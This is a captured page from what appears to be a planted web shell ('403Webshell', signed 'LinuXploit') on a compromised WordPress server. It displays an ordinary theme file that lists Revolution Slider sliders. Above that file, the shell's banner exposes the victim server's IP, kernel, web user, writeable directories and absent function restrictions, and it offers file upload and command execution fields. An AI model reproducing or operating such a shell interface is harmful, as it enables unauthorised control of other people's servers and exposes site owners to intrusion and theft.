403Webshell
Server IP : 172.67.159.97  /  Your IP : 216.73.217.154
Web Server : nginx/1.24.0
System : Linux wordpress-sites 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/rebeccaone.com/wp-content/themes/x/framework/functions/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/rebeccaone.com/wp-content/themes/x/framework/functions/plugins/revolution-slider.php
<?php

// =============================================================================
// FUNCTIONS/GLOBAL/PLUGINS/REVOLUTION-SLIDER.PHP
// -----------------------------------------------------------------------------
// Plugin setup for theme compatibility.
// =============================================================================

// =============================================================================
// TABLE OF CONTENTS
// -----------------------------------------------------------------------------
//   01. Get Sliders
//   02. Remove Notices
// =============================================================================


// Get Sliders
// =============================================================================

//
// Returns a normalized list of Revolution Slider sliders, supporting both
// Rev Slider 6 (RevSlider / getArrSliders) and Rev Slider 7
// (RevSliderSlider / get_sliders).
//
// Each entry is an array with keys: 'id', 'slug', 'title'.
// For Rev Slider 7, 'id' falls back to 'slug' if getID() is unavailable.
//

function x_revslider_get_sliders() {

  $sliders = array();

  // Rev Slider 7
  if ( class_exists( 'RevSliderSlider' ) ) {

    $rs  = new RevSliderSlider();
    $raw = $rs->get_sliders();

    foreach ( $raw as $s ) {
      $sliders[] = array(
        'id'    => method_exists( $s, 'get_id' ) ? $s->get_id() : $s->get_alias(),
        'slug'  => $s->get_alias(),
        'title' => $s->get_title(),
      );
    }

  } else if ( class_exists( 'RevSlider' ) ) {

    // Rev Slider 6
    $rs  = new RevSlider();
    $raw = $rs->getArrSliders();

    foreach ( $raw as $s ) {
      $sliders[] = array(
        'id'    => $s->getID(),
        'slug'  => $s->getAlias(),
        'title' => $s->getTitle(),
      );
    }

  }

  return $sliders;

}


// Remove Notices
// =============================================================================

function x_revolution_slider_remove_plugin_row_notices() {
  remove_action( 'after_plugin_row_revslider/revslider.php', array('RevSliderAdmin', 'show_purchase_notice') );
  remove_action( 'after_plugin_row_revslider/revslider.php', array('RevSliderAdmin', 'show_update_notice') );
  remove_action( 'after_plugin_row_revslider/revslider.php', array('RevSliderAdmin', 'add_notice_wrap_pre') );
  remove_action( 'after_plugin_row_revslider/revslider.php', array('RevSliderAdmin', 'add_notice_wrap_post') );
}

add_action( 'admin_notices', 'x_revolution_slider_remove_plugin_row_notices' );

Youez - 2016 - github.com/yon3zu
LinuXploit